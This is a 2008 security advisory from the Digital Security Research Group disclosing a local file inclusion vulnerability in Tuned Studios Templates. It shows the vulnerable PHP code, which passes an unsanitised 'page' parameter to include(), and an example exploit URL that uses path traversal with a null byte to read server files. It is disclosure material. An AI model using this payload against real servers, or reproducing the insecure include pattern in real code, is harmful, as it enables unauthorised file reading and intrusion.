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LFI in Tuned Studios Templates

From: Digital Security Research Group [DSecRG] (researchdsec.ru)
Date: Wed Jan 09 2008 - 08:47:32 CST


Digital Security Research Group [DSecRG] Advisory #DSECRG08-001

Application: Tuned Studios Templates
Versions Affected: All
Vendor URL: http:/www.tunedstudios.com
Bug: Local File Include
Exploit: YES
Reported: 09.01.2008
Date of Public Advisory: 09.01.2008
Authors: Alexandr Polyakov, Stas Svistunovich
                                Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php

Details
*******

Tuned Studios has many templates based on same vulnerable php code

Code
****

############################################
 //First check if $page exists
  //With the introduction of PHP 5 we have to capture the $page from the url.
  $page = $_GET['page'];

  if(isset($page) && $page != '')
  {
      //Check if the page $page exists
      if(file_exists($page.'.php'))
      {
           //Now we can include the page.
           include($page.'.php');
      }
      else
      {
           //Page can't be found, include the error file
           include('data/error404.data.php');
      }
  }
############################################

Example:

http://[server]/[installdir]/index.php?page=../../../../../../../[file]%00

About
*****

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